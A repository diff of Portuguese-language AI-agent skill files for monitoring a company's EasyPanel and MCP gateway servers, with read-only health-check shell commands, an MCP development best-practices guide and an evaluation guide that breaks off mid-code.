|
||||
|
||||
## Checklist de execucao
|
||||
|
||||
- [ ] Conectar via SSH ao servidor easy
|
||||
- [ ] docker service ls (estado de todos os servicos)
|
||||
- [ ] Identificar servicos DOWN (0/N replicas)
|
||||
- [ ] docker stats --no-stream (recursos)
|
||||
- [ ] df -h (espaco em disco)
|
||||
- [ ] docker system df (uso Docker)
|
||||
- [ ] Logs de servicos com problemas (--tail 10)
|
||||
- [ ] Tarefas falhadas (docker service ps --filter)
|
||||
- [ ] Classificar cada servico: OK / WARN / DOWN
|
||||
- [ ] Gerar tabela resumo
|
||||
- [ ] Listar accoes recomendadas priorizadas
|
||||
- [ ] Report formatado (Markdown)
|
||||
|
||||
---
|
||||
|
||||
## Skills relacionadas
|
||||
|
||||
| Skill | Quando usar |
|
||||
|-------|-------------|
|
||||
| `/easypanel-troubleshoot` | Diagnostico aprofundado de servico com problema |
|
||||
| `/easypanel-rollback` | Reverter deploy falhado |
|
||||
| `/easypanel-deploy` | Deploy de novo servico ou actualizacao |
|
||||
| `/easypanel-validate` | Validacao pos-deploy |
|
||||
| `/easypanel-api` | Referencia API tRPC |
|
||||
| `/server-health` | Health check do servidor CWP (nao EasyPanel) |
|
||||
|
||||
---
|
||||
|
||||
*Skill v1.0.0 | 12-03-2026 | Descomplicar(r)*
|
||||
@@ -1,16 +1,7 @@
|
||||
---
|
||||
name: easypanel-rollback
|
||||
description: Rollback EasyPanel deployments to previous versions via API oficial. Safely reverts to
|
||||
last working deployment. Use when user mentions "easypanel rollback", "reverter
|
||||
deploy", "rollback deployment", "previous version", "desfazer deploy".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: TBD
|
||||
allowed-tools: Task
|
||||
dependencies:
|
||||
- easypanel-api
|
||||
description: Rollback seguro de deployments EasyPanel para versões anteriores estáveis via API oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# EasyPanel Rollback
|
||||
|
||||
@@ -1,18 +1,6 @@
|
||||
---
|
||||
name: easypanel-troubleshoot
|
||||
description: >
|
||||
Automated diagnostics for EasyPanel deployment issues via API oficial. Analyzes container logs,
|
||||
health endpoints, Traefik routing, and resources to identify root causes.
|
||||
Use when user mentions "easypanel troubleshoot", "deploy failed", "502 error",
|
||||
"crash loop", "container problems", "debug deployment".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: TBD
|
||||
allowed-tools: Bash, Read
|
||||
dependencies:
|
||||
- easypanel-api
|
||||
description: Diagnóstico automático de problemas de deploy no EasyPanel — análise de logs de containers, health endpoints, routing Traefik e recursos para identificar causas raiz.
|
||||
---
|
||||
|
||||
# EasyPanel Troubleshoot
|
||||
|
||||
@@ -1,16 +1,6 @@
|
||||
---
|
||||
name: easypanel-validate
|
||||
description: Validate EasyPanel deployments and health checks via API oficial. Verifies services are
|
||||
running correctly. Use when user mentions "easypanel validate", "verificar deploy",
|
||||
"health check", "easypanel status", "deployment validation".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: TBD
|
||||
allowed-tools: Task
|
||||
dependencies:
|
||||
- easypanel-api
|
||||
description: Validação pré-deploy de projectos EasyPanel com health checks, verificação de serviços e auto-fix opcional via API oficial.
|
||||
---
|
||||
|
||||
# EasyPanel Validate
|
||||
|
||||
220
infraestrutura/skills/gateway-check/SKILL.md
Normal file
220
infraestrutura/skills/gateway-check/SKILL.md
Normal file
@@ -0,0 +1,220 @@
|
||||
---
|
||||
name: gateway-check
|
||||
description: Health check rapido dos MCPs no gateway.descomplicar.pt — estado services (systemd+pm2), portas, memoria/CPU, erros recentes. Output tabela resumo.
|
||||
context: fork
|
||||
---
|
||||
|
||||
# /gateway-check v1.0
|
||||
|
||||
Health check rapido dos MCPs no servidor gateway (mcp-hub.descomplicar.pt).
|
||||
|
||||
**Referencia:** PROC-MCP-Desenvolvimento.md | Memory: `mcp-gateway.md`, `infra.md`
|
||||
|
||||
---
|
||||
|
||||
## Inventario MCPs Gateway
|
||||
|
||||
### pm2 (Node.js — /opt/mcp-gateway/)
|
||||
|
||||
| pm2 ID | Nome | Porta | Prioridade |
|
||||
|--------|------|-------|------------|
|
||||
| 0 | mcp-desk-crm | 3150 | P1 |
|
||||
| 1 | mcp-memory | 3151 | P2 |
|
||||
| 2 | mcp-wikijs | 3152 | P3 |
|
||||
| 4 | mcp-moloni | 3158 | P2 |
|
||||
|
||||
### systemd (24 services)
|
||||
|
||||
| Service | Porta | Tipo | Prioridade |
|
||||
|---------|-------|------|------------|
|
||||
| mcp-time | 3163 | Node | P1 |
|
||||
| google-workspace-mcp | 3164 | Python/FastMCP | P1 |
|
||||
| n8n-mcp | 3157 | Node | P2 |
|
||||
| gitea-mcp | 3162 | Go | P2 |
|
||||
| gsc-mcp | 3153 | Python/FastMCP | P2 |
|
||||
| google-analytics-mcp | 3156 | Python/FastMCP | P2 |
|
||||
| imap-enterprise | 3155 | Node | P2 |
|
||||
| context7-mcp | 3159 | Node | P3 |
|
||||
| cwp-mcp | 3183 | Node/supergateway | P3 |
|
||||
| cloudflare-dns-mcp | 3171 | Node/supergateway | P3 |
|
||||
| mcp-youtube | 3187 | Python/FastMCP | P3 |
|
||||
| youtube-research | 3184 | Node | P3 |
|
||||
| magic-mcp | 3172 | Node/supergateway | P3 |
|
||||
| mcp-echarts-mcp | 3173 | Node/supergateway | P3 |
|
||||
| mcp-mermaid-mcp | 3174 | Node/supergateway | P3 |
|
||||
| metabase-mcp | 3175 | Node/supergateway | P3 |
|
||||
| pixabay-mcp | 3176 | Node/supergateway | P3 |
|
||||
| replicate-mcp | 3177 | Node/supergateway | P3 |
|
||||
| outline-api-mcp | 3178 | Node/supergateway | P3 |
|
||||
| pexels-mcp | 3179 | Node/supergateway | P3 |
|
||||
| penpot-mcp | 3180 | Node/supergateway | P3 |
|
||||
| vimeo-mcp | 3181 | Node/supergateway | P3 |
|
||||
| presenton-mcp | 3182 | Node/supergateway | P3 |
|
||||
| mcp-reonic | 3160 | Node | P3 |
|
||||
|
||||
**Prioridades:** P1=critico (bloqueia trabalho) | P2=importante (degrada workflow) | P3=util
|
||||
|
||||
---
|
||||
|
||||
## Protocolo de Execucao
|
||||
|
||||
### 1. Estado dos services
|
||||
|
||||
```bash
|
||||
# Executar via mcp__ssh-unified__ssh_execute(server="gateway")
|
||||
|
||||
# pm2
|
||||
pm2 jlist 2>/dev/null | python3 -c "
|
||||
import sys,json
|
||||
for p in json.load(sys.stdin):
|
||||
print(f\"{p['name']:20s} {p['pm2_env']['status']:10s} cpu={p['monit']['cpu']}% mem={p['monit']['memory']//1024//1024}MB restarts={p['pm2_env']['restart_time']} uptime={round(($(date +%s)*1000-p['pm2_env']['pm_uptime'])/3600000,1)}h\")
|
||||
"
|
||||
|
||||
# systemd — estado + memoria
|
||||
systemctl list-units --type=service --state=running,failed --no-pager | grep -i mcp
|
||||
systemctl list-units --type=service --state=failed --no-pager | grep -i mcp
|
||||
```
|
||||
|
||||
### 2. Verificar portas activas
|
||||
|
||||
```bash
|
||||
# Confirmar que todas as portas esperadas estao a escutar
|
||||
for port in 3150 3151 3152 3153 3155 3156 3157 3158 3159 3160 3162 3163 3164 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3187; do
|
||||
if ss -tln | grep -q ":${port} "; then
|
||||
echo "OK :${port}"
|
||||
else
|
||||
echo "DOWN :${port}"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
### 3. Memoria e CPU por MCP
|
||||
|
||||
```bash
|
||||
# Top consumers de memoria
|
||||
ps aux --sort=-%mem | head -20 | grep -E 'node|python|supergateway|mcp'
|
||||
|
||||
# Memoria total MCPs
|
||||
ps aux | grep -E 'mcp|supergateway' | awk '{sum+=$6} END {printf "Total MCP RAM: %.0f MB\n", sum/1024}'
|
||||
|
||||
# Load do servidor
|
||||
uptime
|
||||
free -h
|
||||
```
|
||||
|
||||
### 4. Erros recentes (ultimos 30min)
|
||||
|
||||
```bash
|
||||
# pm2 logs com erros
|
||||
pm2 logs --err --lines 5 --nostream 2>/dev/null
|
||||
|
||||
# systemd services com erros recentes
|
||||
for svc in $(systemctl list-units --type=service --state=running | grep -i mcp | awk '{print $1}'); do
|
||||
errs=$(journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | wc -l)
|
||||
if [ "$errs" -gt 0 ]; then
|
||||
echo "=== $svc ($errs erros) ==="
|
||||
journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | tail -3
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
### 5. Gateway nginx health
|
||||
|
||||
```bash
|
||||
# Verificar nginx activo
|
||||
systemctl is-active nginx
|
||||
|
||||
# Testar endpoint health (se existir)
|
||||
curl -s -o /dev/null -w "%{http_code}" http://localhost/health 2>/dev/null || echo "no-health-endpoint"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Execucao Pratica
|
||||
|
||||
Executar os 5 passos via `mcp__ssh-unified__ssh_execute(server="gateway")`. Agrupar comandos para minimizar chamadas SSH (maximo 2-3 chamadas).
|
||||
|
||||
**Chamada 1 — estado geral:**
|
||||
```bash
|
||||
echo "=== PM2 ===" && pm2 list 2>/dev/null && echo "=== SYSTEMD ===" && systemctl list-units --type=service --state=running --no-pager | grep -i mcp && echo "=== FAILED ===" && systemctl list-units --type=service --state=failed --no-pager | grep -i mcp && echo "=== LOAD ===" && uptime && free -h
|
||||
```
|
||||
|
||||
**Chamada 2 — portas + memoria + erros:**
|
||||
```bash
|
||||
echo "=== PORTAS ===" && for port in 3150 3151 3152 3153 3155 3156 3157 3158 3159 3160 3162 3163 3164 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3187; do if ss -tln | grep -q ":${port} "; then echo "OK :${port}"; else echo "DOWN :${port}"; fi; done && echo "=== RAM MCPs ===" && ps aux | grep -E 'mcp|supergateway' | grep -v grep | awk '{sum+=$6} END {printf "Total: %.0f MB\n", sum/1024}' && echo "=== PM2 ERROS ===" && pm2 logs --err --lines 3 --nostream 2>/dev/null && echo "=== SYSTEMD ERROS (30min) ===" && for svc in $(systemctl list-units --type=service --state=running | grep -i mcp | awk '{print $1}'); do errs=$(journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | wc -l); if [ "$errs" -gt 0 ]; then echo "--- $svc ($errs erros) ---"; journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | tail -2; fi; done
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output
|
||||
|
||||
Apresentar resultado como tabela resumo:
|
||||
|
||||
```markdown
|
||||
## Gateway Health Check — [data via mcp-time]
|
||||
|
||||
**Servidor:** mcp-hub.descomplicar.pt | **Load:** X.XX | **RAM:** X.XG/XG | **MCPs RAM:** XXXMB
|
||||
|
||||
### Estado MCPs (X/28 operacionais)
|
||||
|
||||
| # | MCP | Porta | Gestor | Estado | RAM | Notas |
|
||||
|---|-----|-------|--------|--------|-----|-------|
|
||||
| 1 | mcp-desk-crm | 3150 | pm2 | OK/DOWN/WARN | XXmb | restarts, erros |
|
||||
| ... | ... | ... | ... | ... | ... | ... |
|
||||
|
||||
### Alertas
|
||||
- [P1] MCP X esta DOWN — accao sugerida
|
||||
- [WARN] MCP Y tem N restarts nas ultimas Xh
|
||||
- [WARN] RAM total MCPs > 2GB (limite recomendado)
|
||||
|
||||
### Erros Recentes
|
||||
[lista de erros se existirem, agrupados por MCP]
|
||||
```
|
||||
|
||||
**Criterios de estado:**
|
||||
- **OK** — service running + porta a escutar + sem erros recentes
|
||||
- **WARN** — running mas com erros recentes OU >5 restarts OU memoria >250MB
|
||||
- **DOWN** — service parado OU porta nao escuta
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting Automatico
|
||||
|
||||
```
|
||||
Se MCP DOWN:
|
||||
1. Verificar service: systemctl status <nome>
|
||||
2. Ver logs: journalctl -u <nome> --since "1h ago" --no-pager | tail -20
|
||||
3. Se supergateway: verificar preload catch-errors.mjs (mcp-gateway.md)
|
||||
4. Tentar restart: systemctl restart <nome>
|
||||
5. Re-verificar porta
|
||||
|
||||
Se RAM total > 2GB:
|
||||
1. Identificar top consumers
|
||||
2. Verificar processos orphan: ps aux | grep -c supergateway
|
||||
3. Se orphans > 28: limpar com pkill e restart escalonado (infra.md)
|
||||
|
||||
Se muitos restarts pm2:
|
||||
1. pm2 logs <nome> --err --lines 20
|
||||
2. Verificar se e o bug conhecido do supergateway (mcp-gateway.md)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
- **Nunca** fazer restart massivo sem verificar primeiro (pode causar downtime)
|
||||
- **Nunca** ignorar MCP P1 em estado DOWN
|
||||
- **Sempre** reportar estado mesmo que tudo esteja OK (confirma que o check correu)
|
||||
- **Sempre** incluir timestamp via mcp-time no output
|
||||
|
||||
---
|
||||
|
||||
## Integracao
|
||||
|
||||
- **/today** pode invocar `/gateway-check` como parte do checkup diario
|
||||
- **/infra-check** faz verificacao mais ampla (inclui despesas); `/gateway-check` e focado apenas nos MCPs gateway
|
||||
- Resultado pode ser publicado na discussao #31 (Logs) do projecto #65
|
||||
|
||||
---
|
||||
|
||||
*Skill v1.0.0 | 12-03-2026 | Descomplicar*
|
||||
@@ -1,23 +1,7 @@
|
||||
---
|
||||
name: infra-check
|
||||
description: >
|
||||
MCP Health Check e auditoria de despesas. Sabado: check completo 9 MCPs + auditoria despesas completa. Domingo: check resumido top 5 + despesas sem PDF. Use when "infra check", "mcp health", "health check", "auditoria despesas", "verificar mcps".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 85
|
||||
user_invocable: true
|
||||
category: infrastructure
|
||||
tags: [mcp, health-check, infrastructure, audit, expenses, monitoring]
|
||||
desk_task: 1710
|
||||
desk_project: 65
|
||||
allowed-tools: Read, Write, mcp__desk-crm-v3, mcp__google-workspace, mcp__ssh-unified, mcp__filesystem, mcp__mcp-time, mcp__memory-supabase, WebFetch
|
||||
mcps: desk-crm-v3, google-workspace, ssh-unified, filesystem, mcp-time, memory-supabase
|
||||
dependencies:
|
||||
mcps: [desk-crm-v3, ssh-unified, filesystem, mcp-time]
|
||||
triggers:
|
||||
- "User asks about MCP health"
|
||||
- "User mentions 'health check', 'infra check', 'mcp status'"
|
||||
- "Invoked by /today orchestrator on Saturday/Sunday"
|
||||
description: Health check de MCPs e auditoria de despesas — sábado check completo 9 MCPs + auditoria despesas, domingo check resumido top 5 + despesas sem PDF.
|
||||
context: fork
|
||||
---
|
||||
|
||||
# /infra-check v1.0
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
287
infraestrutura/skills/mcp-dev/references/best-practices.md
Normal file
287
infraestrutura/skills/mcp-dev/references/best-practices.md
Normal file
@@ -0,0 +1,287 @@
|
||||
# MCP Best Practices - Referência Completa
|
||||
|
||||
> Extraído de auditorias a 27+ projectos MCP (500+ ferramentas).
|
||||
> Ver também: [PROC-MCP-Desenvolvimento.md](file:///media/ealmeida/Dados/Hub/06-Operacoes/Procedimentos/D7-Tecnologia/MCP/PROC-MCP-Desenvolvimento.md)
|
||||
|
||||
---
|
||||
|
||||
## Nomenclatura de Tools
|
||||
|
||||
**Padrão:** `{serviço}_{acção}_{recurso}` em snake_case
|
||||
|
||||
```
|
||||
# Correcto
|
||||
get_customer_notes
|
||||
create_project_task
|
||||
list_invoice_items
|
||||
delete_session_token
|
||||
|
||||
# Errado
|
||||
getCustomerNotes (camelCase)
|
||||
customer-notes-get (kebab-case)
|
||||
get_customer_notes_with_all_billing_details_and_history (>40 chars)
|
||||
```
|
||||
|
||||
**Limites obrigatórios:**
|
||||
- Tool name: ≤ 40 caracteres
|
||||
- Total com prefixo `mcp__<servidor>__<tool>`: ≤ 64 caracteres
|
||||
|
||||
**Validação em código:**
|
||||
```typescript
|
||||
function validateToolName(name: string): void {
|
||||
if (name.length > 40) {
|
||||
throw new Error(`Tool "${name}" excede limite de 40 chars (${name.length})`);
|
||||
}
|
||||
}
|
||||
allTools.forEach(t => validateToolName(t.name));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Annotations Obrigatórias
|
||||
|
||||
Cada tool deve declarar as suas annotations para orientar o modelo:
|
||||
|
||||
```typescript
|
||||
{
|
||||
name: 'get_customer',
|
||||
description: 'Obtém dados de um cliente pelo ID',
|
||||
annotations: {
|
||||
readOnlyHint: true, // Não modifica estado
|
||||
destructiveHint: false, // Não é destrutiva
|
||||
idempotentHint: true, // Mesmo resultado em chamadas repetidas
|
||||
openWorldHint: false, // Opera em dados internos (fechado)
|
||||
},
|
||||
inputSchema: { ... }
|
||||
}
|
||||
```
|
||||
|
||||
**Referência rápida:**
|
||||
|
||||
| Annotation | Tipo | Significado |
|
||||
|------------|------|-------------|
|
||||
| `readOnlyHint` | boolean | Leitura sem efeitos secundários |
|
||||
| `destructiveHint` | boolean | Pode apagar/substituir dados |
|
||||
| `idempotentHint` | boolean | Resultado idêntico em múltiplas chamadas |
|
||||
| `openWorldHint` | boolean | Interage com sistemas externos/web |
|
||||
|
||||
**Inferência automática com `inferAnnotations()`:**
|
||||
|
||||
```typescript
|
||||
import { inferAnnotations } from '@modelcontextprotocol/sdk/server/utils.js';
|
||||
|
||||
// Inferir automaticamente a partir do nome e descrição da tool
|
||||
const annotated = inferAnnotations(tool);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Capabilities Obrigatórias (Regra de Ouro)
|
||||
|
||||
```typescript
|
||||
// ERRADO: capabilities incompletas -> erro 471
|
||||
capabilities: { tools: {} }
|
||||
|
||||
// CORRECTO: sempre declarar as três, mesmo vazias
|
||||
capabilities: {
|
||||
tools: {},
|
||||
resources: {},
|
||||
prompts: {}
|
||||
}
|
||||
```
|
||||
|
||||
**Handlers mínimos obrigatórios:**
|
||||
```typescript
|
||||
server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [...] }));
|
||||
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
|
||||
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
|
||||
server.setRequestHandler(CallToolRequestSchema, async (req) => { ... });
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Formatos de Resposta
|
||||
|
||||
### Dual Format (JSON + Markdown)
|
||||
|
||||
Para máxima compatibilidade, devolver ambos:
|
||||
|
||||
```typescript
|
||||
return {
|
||||
content: [
|
||||
{
|
||||
type: 'text',
|
||||
text: `# Cliente ${data.name}\n\n**ID:** ${data.id}\n**Email:** ${data.email}`
|
||||
}
|
||||
],
|
||||
structuredContent: {
|
||||
id: data.id,
|
||||
name: data.name,
|
||||
email: data.email,
|
||||
status: data.status
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
### Erros Accionáveis
|
||||
|
||||
```typescript
|
||||
// ERRADO: mensagem genérica
|
||||
throw new Error('Falha ao obter dados');
|
||||
|
||||
// CORRECTO: mensagem accionável com contexto e próximos passos
|
||||
return {
|
||||
content: [{
|
||||
type: 'text',
|
||||
text: [
|
||||
`Erro ao obter cliente ID ${customerId}.`,
|
||||
`Causa: ${error.message}`,
|
||||
`Verificar: 1) ID existe na BD 2) Permissões de acesso 3) Conexão à BD`
|
||||
].join('\n')
|
||||
}],
|
||||
isError: true
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Validação com Zod
|
||||
|
||||
```typescript
|
||||
import { z } from 'zod';
|
||||
|
||||
const GetCustomerSchema = z.object({
|
||||
customer_id: z.number().int().positive(),
|
||||
include_invoices: z.boolean().optional().default(false),
|
||||
date_from: z.string().regex(/^\d{4}-\d{2}-\d{2}$/).optional(),
|
||||
});
|
||||
|
||||
// No handler
|
||||
const validated = GetCustomerSchema.parse(args);
|
||||
// Zod lança ZodError automaticamente se inválido
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
```typescript
|
||||
server.setRequestHandler(CallToolRequestSchema, async (request) => {
|
||||
const { name, arguments: args } = request.params;
|
||||
|
||||
try {
|
||||
const result = await handleTool(name, args);
|
||||
return result;
|
||||
} catch (error) {
|
||||
if (error instanceof z.ZodError) {
|
||||
return {
|
||||
content: [{
|
||||
type: 'text',
|
||||
text: `Parâmetros inválidos:\n${error.errors.map(e => ` - ${e.path.join('.')}: ${e.message}`).join('\n')}`
|
||||
}],
|
||||
isError: true
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
content: [{
|
||||
type: 'text',
|
||||
text: `Erro: ${error instanceof Error ? error.message : String(error)}`
|
||||
}],
|
||||
isError: true
|
||||
};
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
```typescript
|
||||
// SEMPRE usar console.error (não console.log — interfere com stdio)
|
||||
console.error(`[MCP:${toolName}] Início — params: ${JSON.stringify(args)}`);
|
||||
console.error(`[MCP:${toolName}] Concluído em ${duration}ms`);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Segurança (Checklist Pré-Commit)
|
||||
|
||||
- [ ] SQL injection: inputs validados antes de entrar em queries?
|
||||
- [ ] Interpolação directa em SQL proibida sem validação
|
||||
- [ ] Transacções em operações multi-query relacionadas
|
||||
- [ ] Recursos (pool.connect) têm `finally` com release
|
||||
- [ ] Cleanup (ROLLBACK) tem try-catch próprio
|
||||
- [ ] `crypto.randomBytes()` em vez de `Math.random()`
|
||||
- [ ] Secrets em variáveis de ambiente, nunca hardcoded
|
||||
- [ ] `pnpm audit` sem vulnerabilidades críticas
|
||||
|
||||
**Grep de validação:**
|
||||
```bash
|
||||
# Interpolação SQL perigosa
|
||||
grep -rn '`.*\${.*}`' src/ | grep -i 'select\|insert\|update\|delete\|order'
|
||||
|
||||
# Math.random em produção
|
||||
grep -rn 'Math.random' src/
|
||||
|
||||
# connect() sem finally
|
||||
grep -rn '\.connect()' src/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Padrões SQL (Perfex CRM)
|
||||
|
||||
```typescript
|
||||
// Perfex usa 0 como "não definido", NÃO NULL
|
||||
client_id || 0,
|
||||
project_id || 0,
|
||||
|
||||
// Excepção: source em leads precisa ID válido
|
||||
const [defaultSource] = await db.query(
|
||||
'SELECT id FROM tblleads_sources ORDER BY id ASC LIMIT 1'
|
||||
);
|
||||
leadSource = source || defaultSource?.id || 1;
|
||||
```
|
||||
|
||||
**Tabelas Perfex (prefixo tbl):**
|
||||
```
|
||||
tblclients, tblprojects, tbltasks, tblinvoices,
|
||||
tblleads, tblleads_sources, tblstaff, tbltaskstimers, tblexpenses
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Transportes
|
||||
|
||||
| Transporte | Estado | Uso |
|
||||
|------------|--------|-----|
|
||||
| StreamableHTTP | Recomendado | Novos MCPs, acesso remoto |
|
||||
| stdio | Válido | Claude Code local, scripts |
|
||||
| SSE | Deprecated | Retrocompatibilidade apenas |
|
||||
|
||||
**Portas HTTP reservadas (3200+):**
|
||||
|
||||
| Porta | MCP |
|
||||
|-------|-----|
|
||||
| 3200 | outline-postgresql |
|
||||
| 3201+ | disponíveis |
|
||||
|
||||
**Portas SSE reservadas (3100+):**
|
||||
|
||||
| Porta | MCP |
|
||||
|-------|-----|
|
||||
| 3100 | desk-crm-v3 |
|
||||
| 3101 | memory-supabase |
|
||||
| 3102 | wikijs |
|
||||
| 3103 | ssh-unified |
|
||||
| 3105 | n8n |
|
||||
| 3106 | cwp |
|
||||
| 3107 | youtube-research |
|
||||
| 3108 | moloni |
|
||||
| 3109+ | disponíveis |
|
||||
|
||||
---
|
||||
|
||||
*best-practices.md v2.0 | 2026-03-10*
|
||||
280
infraestrutura/skills/mcp-dev/references/evaluation-guide.md
Normal file
280
infraestrutura/skills/mcp-dev/references/evaluation-guide.md
Normal file
@@ -0,0 +1,280 @@
|
||||
# MCP Evaluation Guide
|
||||
|
||||
> Guia para criar e executar evaluations de servidores MCP.
|
||||
> Baseado nos padrões do mcp-builder Anthropic.
|
||||
|
||||
---
|
||||
|
||||
## O que são Evaluations MCP?
|
||||
|
||||
Evaluations são testes estruturados que validam o comportamento de um MCP em cenários reais. Não testam apenas se as ferramentas existem — testam se produzem **resultados correctos, seguros e previsíveis**.
|
||||
|
||||
**Objectivos:**
|
||||
- Garantir que cada tool faz o que a descrição promete
|
||||
- Detectar regressões após alterações
|
||||
- Validar edge cases e erros esperados
|
||||
- Confirmar que annotations correspondem ao comportamento real
|
||||
|
||||
---
|
||||
|
||||
## Estrutura de uma Evaluation
|
||||
|
||||
Cada evaluation é definida em XML e contém:
|
||||
|
||||
```xml
|
||||
<evaluation>
|
||||
<name>get_customer_basic</name>
|
||||
<description>Verifica que get_customer retorna dados completos de um cliente existente</description>
|
||||
<tool>get_customer</tool>
|
||||
<input>
|
||||
<customer_id>1</customer_id>
|
||||
</input>
|
||||
<expected>
|
||||
<contains>name</contains>
|
||||
<contains>email</contains>
|
||||
<not_error>true</not_error>
|
||||
</expected>
|
||||
</evaluation>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 10 Perguntas de Evaluation por MCP
|
||||
|
||||
Para cada MCP novo, responder a estas 10 perguntas criando um teste para cada uma:
|
||||
|
||||
```xml
|
||||
<!-- 1. A tool mais básica funciona? -->
|
||||
<evaluation id="1">
|
||||
<question>A tool {principal} retorna dados quando recebe input válido?</question>
|
||||
<scenario>Input mínimo válido</scenario>
|
||||
<assert>Resposta não é erro, contém campos esperados</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 2. Erros de input são tratados graciosamente? -->
|
||||
<evaluation id="2">
|
||||
<question>O que acontece com input inválido (ID negativo, campo obrigatório em falta)?</question>
|
||||
<scenario>Input inválido ou em falta</scenario>
|
||||
<assert>Resposta tem isError=true, mensagem é accionável</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 3. O recurso inexistente é tratado correctamente? -->
|
||||
<evaluation id="3">
|
||||
<question>O que retorna quando o recurso pedido não existe (ID=99999)?</question>
|
||||
<scenario>Recurso não encontrado</scenario>
|
||||
<assert>Mensagem clara "não encontrado", não retorna null silencioso</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 4. Operações de escrita são idempotentes quando declaradas? -->
|
||||
<evaluation id="4">
|
||||
<question>Operações com idempotentHint=true produzem o mesmo resultado em chamadas repetidas?</question>
|
||||
<scenario>Chamar a mesma tool create/update duas vezes com os mesmos parâmetros</scenario>
|
||||
<assert>Segundo resultado idêntico ao primeiro ou erro controlado</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 5. Operações destrutivas têm confirmação ou são irreversíveis como declarado? -->
|
||||
<evaluation id="5">
|
||||
<question>Tools com destructiveHint=true apagam realmente dados? O utilizador é avisado?</question>
|
||||
<scenario>Executar delete em recurso existente</scenario>
|
||||
<assert>Dados apagados. Mensagem confirma acção irreversível</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 6. Tools read-only não alteram estado? -->
|
||||
<evaluation id="6">
|
||||
<question>Tools com readOnlyHint=true não modificam dados?</question>
|
||||
<scenario>Executar get/list e verificar estado antes e depois</scenario>
|
||||
<assert>Estado da BD/sistema idêntico antes e depois da chamada</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 7. Paginação e listas grandes funcionam? -->
|
||||
<evaluation id="7">
|
||||
<question>Tools de listagem com muitos resultados retornam dados paginados correctamente?</question>
|
||||
<scenario>Lista com 1000+ registos, pedir página 2</scenario>
|
||||
<assert>Retorna subset correcto, metadados de paginação presentes</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 8. Autenticação/autorização é validada? -->
|
||||
<evaluation id="8">
|
||||
<question>Chamadas sem credenciais válidas são rejeitadas?</question>
|
||||
<scenario>Remover variável de ambiente com API key e chamar tool</scenario>
|
||||
<assert>Erro claro de autenticação, não crash do servidor</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 9. structuredContent é consistente com content textual? -->
|
||||
<evaluation id="9">
|
||||
<question>O campo structuredContent contém os mesmos dados que o texto Markdown?</question>
|
||||
<scenario>Comparar campos em structuredContent com conteúdo do text</scenario>
|
||||
<assert>Dados idênticos em ambos os formatos</assert>
|
||||
</evaluation>
|
||||
|
||||
<!-- 10. Performance é aceitável? -->
|
||||
<evaluation id="10">
|
||||
<question>A tool responde em menos de 5 segundos em condições normais?</question>
|
||||
<scenario>Medir tempo de resposta em 10 chamadas consecutivas</scenario>
|
||||
<assert>p95 < 5000ms, sem memory leaks após 100 chamadas</assert>
|
||||
</evaluation>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Como Executar Evaluations
|
||||
|
||||
### Método Manual (MCP Inspector)
|
||||
|
||||
```bash
|
||||
# Instalar MCP Inspector
|
||||
npx @modelcontextprotocol/inspector
|
||||
|
||||
# Conectar ao MCP local
|
||||
# Interface web em http://localhost:5173
|
||||
# Testar cada tool manualmente
|
||||
```
|
||||
|
||||
### Método Automatizado (Script TypeScript)
|
||||
|
||||
```typescript
|
||||
// eval/run-evals.ts
|
||||
import { Client } from '@modelcontextprotocol/sdk/client/index.js';
|
||||
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js';
|
||||
|
||||
interface EvalResult {
|
||||
id: string;
|
||||
passed: boolean;
|
||||
duration: number;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
async function runEval(
|
||||
client: Client,
|
||||
toolName: string,
|
||||
input: Record<string, unknown>,
|
||||
assertions: {
|
||||
notError?: boolean;
|
||||
